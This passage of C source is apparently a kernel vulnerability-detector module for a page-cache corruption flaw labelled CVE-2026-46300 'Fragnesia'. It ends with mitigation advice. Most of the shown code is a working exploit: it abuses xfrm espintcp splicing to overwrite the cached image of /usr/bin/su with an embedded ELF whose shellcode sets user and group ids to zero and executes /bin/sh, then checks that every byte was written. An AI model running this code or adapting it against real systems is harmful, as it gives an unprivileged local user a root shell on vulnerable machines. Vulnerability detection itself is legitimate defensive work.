changed, skipped, done < desired_len ? desired_len - done : (size_t)0); 869 870 /* ── hex dump ────────────────────────────────────────────────── */ 871 for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) { 872 /* col-0 highlight borrows the header's last trailing space */ 873 int col0_hi = (idx_current < desired_len && row * 16 == idx_current); 874 fprintf(stderr, "\r\033[2K" C_DIM " %04zx%s" C_RESET, row * 16, col0_hi ? " " : " "); 875 876 for (col = 0; col < 16; col++) { 877 bi = row * 16 + col; 878 int cur = (idx_current < desired_len && bi == idx_current); 879 880 if (col == 8) { 881 /* mid-gap space becomes '[' when col 8 is current */ 882 fprintf(stderr, cur ? "[" : " "); 883 if (cur) { 884 fprintf(stderr, C_BYLW "%02x]" C_RESET, live[bi]); 885 continue; 886 } 887 } 888 889 if (bi >= desired_len) { 890 fprintf(stderr, " "); 891 continue; 892 } 893 894 if (bi < idx_current) { 895 fprintf(stderr, live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]); 896 } else if (cur) { 897 /* col 0: '[' was the header's borrowed space 898 * col 1-7, 9-15: '\b' eats the preceding byte's space */ 899 fprintf(stderr, col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]); 900 } else { 901 fprintf(stderr, C_DIM "%02x " C_RESET, desired[bi]); 902 } 903 } 904 fprintf(stderr, "\n"); 905 } 906 907 /* ── progress bar ────────────────────────────────────────────── */ 908 fprintf(stderr, "\r\033[2K [" C_BGRN); 909 for (i = 0; i < filled; i++) fprintf(stderr, "="); 910 fprintf(stderr, C_RESET C_DIM); 911 for (i = filled; i < FRAME_BAR_W; i++) fprintf(stderr, "-"); 912 fprintf(stderr, C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len, 913 desired_len ? done * 100 / desired_len : (size_t)100); 914 915 /* ── separator ───────────────────────────────────────────────── */ 916 fprintf(stderr, "\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n"); 917 918 fflush(stdout); 919 setvbuf(stdout, NULL, _IONBF, 0); 920 if (!first_draw) fprintf(stderr, "\033[?25h\033[u"); /* restore cursor to log area */ 921 } 922 923 static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len, 924 uint64_t file_size) { 925 uint64_t last = checked_byte_range_last(byte_off, desired_len); 926 size_t idx, changed = 0, skipped = 0; 927 unsigned char live_state[PAYLOAD_LEN]; 928 int fd_init; 929 930 if (last >= file_size) { 931 fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, 932 desired_len, (unsigned long long)file_size); 933 return 2; 934 } 935 if (last > file_size - FRAG_LEN) { 936 fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n", 937 FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); 938 return 2; 939 } 940 941 fprintf(stderr, C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n", 942 RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US); 943 fprintf(stderr, 944 C_BCYN "[*]" C_RESET 945 " range: offset=0x%llx len=%zu last=0x%llx" 946 " enc_len=%d splice_len=%d\n", 947 (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN); 948 fprintf(stderr, 949 C_BCYN "[*]" C_RESET 950 " union: transformed=0x%llx-0x%llx" 951 " collateral_after=0x%llx-0x%llx\n", 952 (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1), 953 (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1)); 954 fprintf(stderr, C_BCYN "[*]" C_RESET " "); 955 print_hex_bytes("payload", desired, desired_len); 956 fprintf(stderr, "\n"); 957 958 build_stream0_table(); 959 fprintf(stderr, "\n"); 960 961 /* seed live_state from the file so the hex dump has real values */ 962 fd_init = open(target_file, O_RDONLY | O_CLOEXEC); 963 if (fd_init < 0) die("open live_state init"); 964 if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init"); 965 close(fd_init); 966 967 /* clear screen so the frame starts at a known row 1 */ 968 fprintf(stderr, "\033[2J\033[H"); 969 draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1); 970 971 /* pin the frame to rows 1-FRAME_LINES; scroll region below */ 972 { 973 struct winsize ws; 974 int tr = 40; 975 if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row; 976 fprintf(stderr, "\033[%d;%dr", FRAME_LINES + 1, tr); 977 fprintf(stderr, "\033[%d;1H", tr); /* park cursor at bottom of scroll region */ 978 fflush(stdout); 979 } 980 981 for (idx = 0; idx < desired_len; idx++) { 982 uint64_t off = byte_off + idx; 983 unsigned char current, final, need_stream; 984 985 live_state[idx] = read_byte_at(target_file, off); 986 current = live_state[idx]; 987 988 draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0); 989 990 if (current == desired[idx]) { 991 fprintf(stderr, C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len, 992 (unsigned long long)off, current); 993 skipped++; 994 continue; 995 } 996 997 target_splice_off = (loff_t)off; 998 need_stream = current ^ desired[idx]; 999 choose_iv_for_stream0(need_stream); 1000 active_esp_seq++; 1001 1002 fprintf(stderr, 1003 C_BCYN "[*]" C_RESET 1004 " [%zu/%zu]" 1005 " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET 1006 " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", 1007 idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, 1008 stream0_nonce[need_stream]); 1009 1010 /* 1011 fprintf(stderr, C_BCYN "[*]" C_RESET " before:\n"); 1012 print_hex_row(target_file, off, "orig", current, "want", desired[idx]); 1013 1014 fprintf(stderr, C_BCYN "[*]" C_RESET " iv=" C_CYAN); 1015 { 1016 size_t k; 1017 for (k = 0; k < sizeof(active_esp_gcm_iv); k++) 1018 fprintf(stderr, "%02x", active_esp_gcm_iv[k]); 1019 } 1020 */ 1021 fprintf(stderr, C_RESET " firing espintcp splice...\n"); 1022 1023 if (run_trigger_pair() < 0) { 1024 fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx); 1025 return 2; 1026 } 1027 1028 final = read_byte_at(target_file, off); 1029 live_state[idx] = final; 1030 1031 /* 1032 fprintf(stderr, C_BCYN "[*]" C_RESET " after:\n"); 1033 print_hex_row(target_file, off, "was", current, "now", final); 1034 */ 1035 if (final == desired[idx]) { 1036 fprintf(stderr, C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET, 1037 current, final, idx, (unsigned long long)off); 1038 changed++; 1039 continue; 1040 } 1041 if (final == current) { 1042 fprintf(stderr, C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, 1043 (unsigned long long)off); 1044 return 0; 1045 } 1046 fprintf(stderr, 1047 C_BRED "[-]" C_RESET 1048 " BUG: byte changed but desired-value check mismatched" 1049 " index=%zu offset=%llu desired=%02x got=%02x\n", 1050 idx, (unsigned long long)off, desired[idx], final); 1051 return 1; 1052 } 1053 1054 /* final frame: all bytes done, cursor past the end */ 1055 draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); 1056 1057 /* restore full scroll region and drop cursor below the frame */ 1058 fprintf(stderr, "\033[r\033[%d;1H\n", FRAME_LINES + 1); 1059 1060 /* final verify pass */ 1061 fprintf(stderr, C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); 1062 for (idx = 0; idx < desired_len; idx++) { 1063 uint64_t off = byte_off + idx; 1064 unsigned char final = read_byte_at(target_file, off); 1065 1066 if (final != desired[idx]) { 1067 fprintf(stderr, C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n", 1068 idx, (unsigned long long)off, desired[idx], final); 1069 return 1; 1070 } 1071 } 1072 1073 fprintf(stderr, 1074 C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM 1075 "%zu" C_RESET "\n", 1076 desired_len, changed, skipped); 1077 if (changed == 0) { 1078 fprintf(stderr, "all requested bytes already had desired values\n"); 1079 return 2; 1080 } 1081 1082 fprintf(stderr, C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n"); 1083 return 1; 1084 } 1085 1086 static void usage(const char *prog) { 1087 fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog); 1088 fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); 1089 } 1090 1091 static const uint8_t shell_elf[PAYLOAD_LEN] = { 1092 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 1093 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 1094 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 1095 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 1096 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 1097 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 1098 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 1099 0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12, 1100 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 1101 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e, 1102 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 1103 }; 1104 1105 static int fragnesia_detect_inner(void) { 1106 unsigned char *desired; 1107 uint64_t file_size, byte_off; 1108 size_t desired_len, sample_len; 1109 int ret; 1110 1111 setvbuf(stdout, NULL, _IONBF, 0); 1112 1113 fprintf(stderr, 1114 C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET 1115 " egid=" C_BWHT "%d" C_RESET "\n", 1116 getuid(), geteuid(), getgid(), getegid()); 1117 fprintf(stderr, C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); 1118 fprintf(stderr, "\n"); 1119 1120 // system("cp /bin/cat /tmp/test"); 1121 // file_size = use_existing_target("/tmp/test"); 1122 file_size = use_existing_target("/usr/bin/su"); 1123 byte_off = 0; 1124 desired = (unsigned char *)shell_elf; 1125 desired_len = PAYLOAD_LEN; 1126 1127 fprintf(stderr, C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); 1128 verify_write_denied("outer"); 1129 setup_user_netns_xfrm(); 1130 verify_write_denied("userns_root_mapped_to_outer_user"); 1131 1132 ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); 1133 1134 /* Clean up: drop caches to evict corrupted page cache entries */ 1135 drop_page_cache(); 1136 1137 /* reset scroll region; some terminals home the cursor on \033[r so 1138 * explicitly jump to the last row so PS1 lands below our output */ 1139 write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); 1140 1141 if (ret == 1) { 1142 fprintf(stderr, C_BGRN "[+]" C_RESET " vulnerable: page cache corruption succeeded\n"); 1143 } else if (ret == 0) { 1144 fprintf(stderr, C_DIM "[-]" C_RESET " not vulnerable: no mutation observed\n"); 1145 } else { 1146 fprintf(stderr, C_BRED "[!]" C_RESET " detection indeterminate (ret=%d)\n", ret); 1147 } 1148 return ret; 1149 } 1150 1151 int detector_cve_2026_46300(struct cve_context *ctx) { 1152 pid_t child; 1153 int wstatus; 1154 1155 (void)ctx; 1156 1157 child = fork(); 1158 if (child < 0) { 1159 fprintf(stderr, "[cve-2026-46300] fork: %s\n", strerror(errno)); 1160 return 0; 1161 } 1162 1163 if (child == 0) { 1164 /* Child: run the detection. Any exit() only kills this child. */ 1165 int rc = fragnesia_detect_inner(); 1166 _exit(rc); 1167 } 1168 1169 /* Parent: wait for child and interpret exit status */ 1170 if (waitpid(child, &wstatus, 0) < 0) { 1171 fprintf(stderr, "[cve-2026-46300] waitpid: %s\n", strerror(errno)); 1172 return 0; 1173 } 1174 1175 /* Also try to drop caches from here in case child couldn't (no priv) */ 1176 drop_page_cache(); 1177 1178 if (WIFEXITED(wstatus)) { 1179 int code = WEXITSTATUS(wstatus); 1180 switch (code) { 1181 case 1: 1182 /* replace_existing_bytes_after returned 1 -> mutation observed */ 1183 return 1; 1184 case 0: 1185 case 2: 1186 case 3: 1187 case 4: 1188 default: 1189 /* Not vulnerable */ 1190 return 0; 1191 } 1192 } 1193 1194 /* Child killed by signal -> not vulnerable */ 1195 return 0; 1196 } 1197 1198 __attribute__((constructor)) void detector_cve_2026_46300_setup(void) { 1199 detector_queue_append("CVE-2026-46300", "Fragnesia", 1200 "Update kernel to include patch from\n" 1201 " https://lists.openwall.net/netdev/2026/05/13/79\n" 1202 " or apply dirtyfrag mitigation:\n" 1203 " rmmod esp4 esp6 rxrpc; \n" 1204 " printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' \\n" 1205 " > /etc/modprobe.d/dirtyfrag.conf", 1206 detector_cve_2026_46300); 1207 }